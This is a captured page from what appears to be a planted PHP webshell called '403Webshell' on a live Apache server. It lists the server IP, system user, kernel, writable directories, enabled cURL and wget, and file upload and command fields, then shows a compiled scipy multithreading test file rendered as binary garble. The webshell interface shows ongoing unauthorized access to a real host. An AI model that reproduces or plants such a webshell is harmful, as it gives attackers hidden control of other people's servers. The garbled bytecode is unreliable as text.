403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/fft/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/fft/tests/__pycache__/test_multithreading.cpython-311.pyc
�

d�cT��V�ddlmZddlZddlZddlmZddlZddlZej	d���d���Z
ej�dejej
ejejejejejejejejejejejejejejejejejejej ej!ej"ej#ej$ej%g��ej�dd	d
g��d�����Z&d�Z'd
�Z(d�Z)d�Z*d�Z+dS)���fftN��assert_allclose�module)�scopec�B�tj�dd��S)Ni�)�np�random�randn���E/usr/lib/python3/dist-packages/scipy/fft/tests/test_multithreading.py�xr	s��
�9�?�?�3��$�$�$r�func�workers����c�Z�||d���}|||���}t||��dS)N��rr)rrr�expected�actuals     r�test_threaded_samersB���t�A�q�!�!�!�H�
�T�!�W�
%�
%�
%�F��F�H�%�%�%�%�%rc�.�tj|d���S)Nrrr)rs r�_mt_fftrs���7�1�a� � � � rc�J��tj�d���}tjd��5}|�t�fd�td��D����}ddd��n#1swxYwY|D]}t
||���tj�d���dS)Nrrc���g|]}���Srr)�.0�_rs  �r�
<listcomp>z0test_mixed_threads_processes.<locals>.<listcomp>&s���2�2�2�A�a�2�2�2r�)r�multiprocessing�Pool�mapr�ranger)r�expect�p�res�rs`    r�test_mixed_threads_processesr, s�����W�Q��
"�
"�
"�F�	�	�a�	 �	 �4�A��e�e�G�2�2�2�2��q���2�2�2�3�3��4�4�4�4�4�4�4�4�4�4�4����4�4�4�4��#�#����6�"�"�"�"��G�A�q������s�5A-�-A1�4A1c��tj��}tjdg|���t	jtd���5tj|d���ddd��n#1swxYwYt	jtd���5tj||dz
���ddd��dS#1swxYwYdS)Nrr�workers must not be zero��matchr�workers value out of range)�os�	cpu_countr�ifft�pytest�raises�
ValueError)r�cpuss  r�test_invalid_workersr9.s=��
�<�>�>�D��H�a�S�4�%� � � � �	��z�)C�	D�	D�	D������1�����������������������
��z�)E�	F�	F�	F�%�%����T�E�!�G�$�$�$�$�%�%�%�%�%�%�%�%�%�%�%�%����%�%�%�%�%�%s$�A*�*A.�1A.�B8�8B<�?B<c�j�tj��}tj��dksJ�tjd��5tj��dksJ�tjd��5tj��|ksJ�	ddd��n#1swxYwYtj��dksJ�	ddd��n#1swxYwYtj��dksJ�tj|��5tj��dksJ�	ddd��dS#1swxYwYdS)Nrr#r)r2r3r�get_workers�set_workers)r8s r�test_set_get_workersr=:s���
�<�>�>�D��?����!�!�!�!�	���	�	�&�&��� � �A�%�%�%�%�
�_�R�
 �
 �	-�	-��?�$�$��,�,�,�,�,�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-����	-�	-�	-�	-��� � �A�%�%�%�%�%�
&�&�&�&�&�&�&�&�&�&�&����&�&�&�&��?����!�!�!�!�	��$��	�	�&�&��� � �A�%�%�%�%�%�&�&�&�&�&�&�&�&�&�&�&�&����&�&�&�&�&�&sH�.C�/B�
C�B	�C�B	�C�C�C�D(�(D,�/D,c��tjtd���5tjd��5	ddd��n#1swxYwYddd��n#1swxYwYtjtd���5tjtj��dz
��5	ddd��n#1swxYwYddd��dS#1swxYwYdS)Nr.r/rr1r)r5r6r7rr<r2r3rrr�test_set_workers_invalidr?Ks���	��z�)C�	D�	D�	D���
�_�Q�
�
�	�	��	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�������������������
��z�)E�	F�	F�	F���
�_�b�l�n�n�_�Q�.�
/�
/�	�	��	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���������������������sg�A�?�A�A	�A�A	�A�A�A�<*C�&B4�(C�4B8	�8C�;B8	�<C�C�C),�scipyr�numpyrr5�
numpy.testingrr$r2�fixturer�mark�parametrizer4�fft2�ifft2�fftn�ifftn�rfft�irfft�rfft2�irfft2�rfftn�irfftn�hfft�ihfft�hfft2�ihfft2�hfftn�ihfftn�dct�idct�dctn�idctn�dst�idst�dstn�idstnrrr,r9r=r?rrr�<module>r^s�������������
�
�
�
�)�)�)�)�)�)�����	�	�	�	����h����%�%� ��%�������G�S�X�s�x���C�H�c�i��H�c�i���C�J��	�3�:��H�c�i���C�J��	�3�:��G�S�X�s�x����G�S�X�s�x���"��������Q��G�,�,�&�&�-�,���&�!�!�!����	%�	%�	%�&�&�&�"����r

Youez - 2016 - github.com/yon3zu
LinuXploit